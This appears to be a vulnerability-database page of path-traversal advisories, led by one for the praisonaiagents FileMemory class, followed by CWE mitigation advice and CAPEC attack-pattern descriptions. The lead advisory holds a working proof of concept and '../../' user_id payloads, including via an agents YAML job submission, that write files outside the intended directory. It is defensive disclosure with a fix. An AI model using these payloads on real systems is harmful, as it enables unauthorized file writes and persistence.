if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55527"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:09:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n self,\n user_id: str = \"default\",\n base_path: Optional[str] = None,\n ...\n):\n ...\n self.user_path = self.base_path / user_id # LINE 145 \u2014 NO SANITIZATION\n self.episodic_path = self.user_path / \"episodic\"\n\n self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path\n self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n self.config_file = self.user_path / \"config.json\"\n self.short_term_file = self.user_path / \"short_term.json\"\n self.long_term_file = self.user_path / \"long_term.json\"\n self.entities_file = self.user_path / \"entities.json\"\n self.summaries_file = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json (on Linux)\n# Creates C:\\evil\\short_term.json (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n name=\"assistant\",\n memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n researcher:\n memory:\n provider: file\n user_id: \"../../tmp/evil\"\n role: \"Research assistant\"\n goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n user_path.resolve().relative_to(base.resolve())\n print(\"SAFE\")\nexcept ValueError:\n print(\"!!PATH ESCAPES BASE!!\")\n print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n f = TARGET / fname\n if f.exists():\n print(f\"WRITTEN: {f}\")\n print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n in a world-writable or user-writable path, JSON files can be written over package\n files, causing import failures or (in edge cases) execution if a JSON parser is\n swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n users can create agents with custom memory configs, one user can read/overwrite\n another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n ...\n # ADDED: sanitize user_id\n import re\n if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n )\n\n self.user_path = self.base_path / user_id\n\n # ADDED: verify the resolved path is within base (defense-in-depth)\n resolved = self.user_path.resolve()\n base_resolved = self.base_path.resolve()\n try:\n resolved.relative_to(base_resolved)\n except ValueError:\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
"id": "GHSA-gxmw-5f7x-6g22",
"modified": "2026-08-25T15:09:55Z",
"published": "2026-08-25T15:09:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}
GHSA-GXQJ-2GVR-3P2F
Vulnerability from github – Published: 2025-06-14 09:32 – Updated: 2025-06-14 09:32The Image Resizer On The Fly plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete' task in all versions up to, and including, 1.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-6065"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-14T09:15:25Z",
"severity": "CRITICAL"
},
"details": "The Image Resizer On The Fly plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the \u0027delete\u0027 task in all versions up to, and including, 1.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-gxqj-2gvr-3p2f",
"modified": "2025-06-14T09:32:03Z",
"published": "2025-06-14T09:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6065"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/image-resizer-on-the-fly/trunk/image-resizer-on-the-fly.php#L25"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/image-resizer-on-the-fly"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/14877ff6-e393-41a3-91c1-fe7f477297cc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXRP-448Q-JG35
Vulnerability from github – Published: 2022-05-01 23:41 – Updated: 2025-04-09 03:53Multiple directory traversal vulnerabilities in Elastic Path (EP) 4.1 and 4.1.1 allow remote attackers to (1) download arbitrary files via a .. (dot dot) in the file parameter to manager/getImportFileRedirect.jsp, (2) upload arbitrary files via a "..\" (dot dot backslash) in the file parameter to importData.jsp, and (3) list directory contents via a .. (dot dot) in the dir parameter to manager/fileManager.jsp.
{
"affected": [],
"aliases": [
"CVE-2008-1606"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-01T16:44:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Elastic Path (EP) 4.1 and 4.1.1 allow remote attackers to (1) download arbitrary files via a .. (dot dot) in the file parameter to manager/getImportFileRedirect.jsp, (2) upload arbitrary files via a \"..\\\" (dot dot backslash) in the file parameter to importData.jsp, and (3) list directory contents via a .. (dot dot) in the dir parameter to manager/fileManager.jsp.",
"id": "GHSA-gxrp-448q-jg35",
"modified": "2025-04-09T03:53:11Z",
"published": "2022-05-01T23:41:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1606"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41356"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41364"
},
{
"type": "WEB",
"url": "http://developer.elasticpath.com/entry!default.jspa?categoryID=4\u0026externalID=1334"
},
{
"type": "WEB",
"url": "http://developer.elasticpath.com/entry%21default.jspa?categoryID=4\u0026externalID=1334"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29496"
},
{
"type": "WEB",
"url": "http://weblog.nomejortu.com/?p=37"
},
{
"type": "WEB",
"url": "http://www.mwrinfosecurity.com/publications/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28352"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GXV2-P3Q2-HMW6
Vulnerability from github – Published: 2025-08-21 18:31 – Updated: 2025-08-21 21:32An issue in the component /api/download_work_dir_file.py of Agent-Zero v0.8.* allows attackers to execute a directory traversal.
{
"affected": [],
"aliases": [
"CVE-2025-55523"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-21T18:15:34Z",
"severity": "LOW"
},
"details": "An issue in the component /api/download_work_dir_file.py of Agent-Zero v0.8.* allows attackers to execute a directory traversal.",
"id": "GHSA-gxv2-p3q2-hmw6",
"modified": "2025-08-21T21:32:05Z",
"published": "2025-08-21T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55523"
},
{
"type": "WEB",
"url": "https://github.com/agent0ai/agent-zero/issues/687"
},
{
"type": "WEB",
"url": "https://github.com/frdel/agent-zero/blob/v0.8.7/python/api/download_work_dir_file.py"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6166"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GXX3-JHJ6-V22H
Vulnerability from github – Published: 2025-07-21 15:30 – Updated: 2025-07-22 18:30An issue was discovered in CommScope Ruckus Unleashed prior to 200.14.6.1.203 and in Ruckus ZoneDirector, where a path-traversal flaw in the web interface lets the server execute attacker-supplied EJS templates outside permitted directories, allowing a remote unauthenticated attacker who can upload a template (e.g., via FTP) to escalate privileges and run arbitrary template code on the controller.
{
"affected": [],
"aliases": [
"CVE-2025-46120"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-21T15:15:28Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in CommScope Ruckus Unleashed prior to 200.14.6.1.203 and in Ruckus ZoneDirector, where a path-traversal flaw in the web interface lets the server execute attacker-supplied EJS templates outside permitted directories, allowing a remote unauthenticated attacker who can upload a template (e.g., via FTP) to escalate privileges and run arbitrary template code on the controller.",
"id": "GHSA-gxx3-jhj6-v22h",
"modified": "2025-07-22T18:30:40Z",
"published": "2025-07-21T15:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46120"
},
{
"type": "WEB",
"url": "https://sector7.computest.nl/post/2025-07-ruckus-unleashed"
},
{
"type": "WEB",
"url": "https://support.ruckuswireless.com/security_bulletins/330"
},
{
"type": "WEB",
"url": "http://commscope.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.